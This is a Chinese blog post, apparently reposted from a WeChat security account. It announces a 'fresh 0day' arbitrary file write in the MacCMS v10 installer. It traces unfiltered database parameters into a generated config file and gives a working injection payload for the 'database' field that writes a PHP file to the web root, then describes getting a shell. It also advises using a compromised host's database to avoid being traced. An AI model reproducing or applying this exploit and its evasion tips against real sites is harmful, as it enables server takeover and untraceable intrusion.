MacCMS最新版本任意文件写入-新鲜0day出炉

admin 2023年12月26日14:26:21评论128 views字数 3925阅读13分5秒阅读模式

MacCMS任意文件写入-v10 bulid2023.1000.3052

1 、MacCms-v10

  • 基于ThinkPHP和Layui的多功能开源免费内容管理系统
  • 大幅度降低站长上手门槛,让每一个无需会编程技术的新手都能快速上手
  • 支持导出 PDF 和 markdown


2、漏洞利用

直接通过Seay工具快速定位危险函数file_put_contents

file_put_contents(APP_PATH.'database.php', $code);

反向查找$code 的内容是否可控 发现可控参数有很多hostname、database、username、password、hostport都是可控参数

    private function mkDatabase(array $data){        $code = <<<INFO<?php
return [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => '{$data['hostname']}', // 数据库名 'database' => '{$data['database']}', // 用户名 'username' => '{$data['username']}', // 密码 'password' => '{$data['password']}', // 端口 'hostport' => '{$data['hostport']}', // 连接dsn 'dsn' => '', // 数据库连接参数 'params' => [], // 数据库编码默认采用utf8 'charset' => 'utf8', // 数据库表前缀 'prefix' => '{$data['prefix']}', // 数据库调试模式 'debug' => false, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) 'deploy' => 0, // 数据库读写是否分离 主从式有效 'rw_separate' => false, // 读写分离后 主服务器数量 'master_num' => 1, // 指定从服务器序号 'slave_no' => '', // 是否严格检查字段是否存在 'fields_strict' => false, // 数据集返回类型 'resultset_type' => 'array', // 自动写入时间戳字段 'auto_timestamp' => false, // 时间字段取出后的默认时间格式 'datetime_format' => 'Y-m-d H:i:s', // 是否需要进行SQL性能分析 'sql_explain' => false, // Builder类 'builder' => '', // Query类 'query' => '\think\db\Query',];INFO;

找到处理逻辑step4函数 发现代码中先对数据库进行了连接后在调用file_put_contents,为了逻辑运行到file_put_contents函数 hostname、username、password、hostport必须正确,可控参数就是有database了,但是这里要注意数据库可在云服务器搭建或者使用肉鸡数据库,校验账号密码后即可写入文件,需要及时修改数据库密码 因数据库地址、账号、密码会写入到配置文件中 造成溯源

private function step4(){        if ($this->request->isPost()) {            if (!is_writable(APP_PATH.'database.php')) {                return $this->error('[app/database.php]'.lang('install/write_read_err'));            }            $data = input('post.');            $data['type'] = 'mysql';            $rule = [                'hostname|'.lang('install/server_address') => 'require',                'hostport|'.lang('install/database_port') => 'require|number',                'database|'.lang('install/database_name') => 'require',                'username|'.lang('install/database_username') => 'require',                'prefix|'.lang('install/database_pre') => 'require|regex:^[a-z0-9]{1,20}[_]{1}',                'cover|'.lang('install/overwrite_database') => 'require|in:0,1',            ];            $validate = $this->validate($data, $rule);            if (true !== $validate) {                return $this->error($validate);            }            $cover = $data['cover'];            unset($data['cover']);            $config = include APP_PATH.'database.php';            foreach ($data as $k => $v) {                if (array_key_exists($k, $config) === false) {                    return $this->error(lang('param').''.$k.''.lang('install/not_found'));                }            }            // 不存在的数据库会导致连接失败            $database = $data['database'];            unset($data['database']);            // 创建数据库连接            $db_connect = Db::connect($data);            // 检测数据库连接            try{                $db_connect->execute('select version()');            }catch(Exception $e){                $this->error(lang('install/database_connect_err'));            }
// 生成数据库配置文件 $data['database'] = $database; self::mkDatabase($data);

// 不覆盖检测是否已存在数据库 if (!$cover) { $check = $db_connect->execute('SELECT * FROM information_schema.schemata WHERE schema_name="'.$database.'"'); if ($check) { $this->success(lang('install/database_name_haved'),''); } } // 创建数据库 if (!$db_connect->execute("CREATE DATABASE IF NOT EXISTS `{$database}` DEFAULT CHARACTER SET utf8")) { return $this->error($db_connect->getError()); }

return $this->success(lang('install/database_connect_ok'), ''); } else { return $this->error(lang('install/access_denied')); } }

继续往下看 写入内容因为没做过滤 直接闭合database=>'admin' 后面加上file_put_contents参数将木马写入到1.php文件中 payload如下

admin',$a='<?php phpinfo();?>',file_put_contents('1.php',$a),#
return [    // 数据库类型    'type'            => 'mysql',    // 服务器地址    'hostname'        => '127.0.0.1',    // 数据库名    'database'        => 'admin',$a='<?php phpinfo();?>',file_put_contents('1.php',$a),#',   // 用户名    'username'        => 'root',    // 密码    'password'        => 'root',    // 端口    'hostport'        => '3306',    // 连接dsn    'dsn'             => '',    // 数据库连接参数    'params'          => [],    // 数据库编码默认采用utf8    'charset'         => 'utf8',    // 数据库表前缀    'prefix'          => 'mac_',    // 数据库调试模式    'debug'           => false,    // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)    'deploy'          => 0,    // 数据库读写是否分离 主从式有效    'rw_separate'     => false,    // 读写分离后 主服务器数量    'master_num'      => 1,    // 指定从服务器序号    'slave_no'        => '',    // 是否严格检查字段是否存在    'fields_strict'   => false,    // 数据集返回类型    'resultset_type'  => 'array',    // 自动写入时间戳字段    'auto_timestamp'  => false,    // 时间字段取出后的默认时间格式    'datetime_format' => 'Y-m-d H:i:s',    // 是否需要进行SQL性能分析    'sql_explain'     => false,    // Builder类    'builder'         => '',    // Query类    'query'           => 'thinkdbQuery',];

在根目录中发现1.php文件访问 运行了phpinfo()函数、直接传马子getshell了

MacCMS最新版本任意文件写入-新鲜0day出炉

原文始发于微信公众号(探幽安全):MacCMS最新版本任意文件写入-新鲜0day出炉

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日14:26:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MacCMS最新版本任意文件写入-新鲜0day出炉https://cn-sec.com/archives/2227170.html

发表评论

匿名网友 填写信息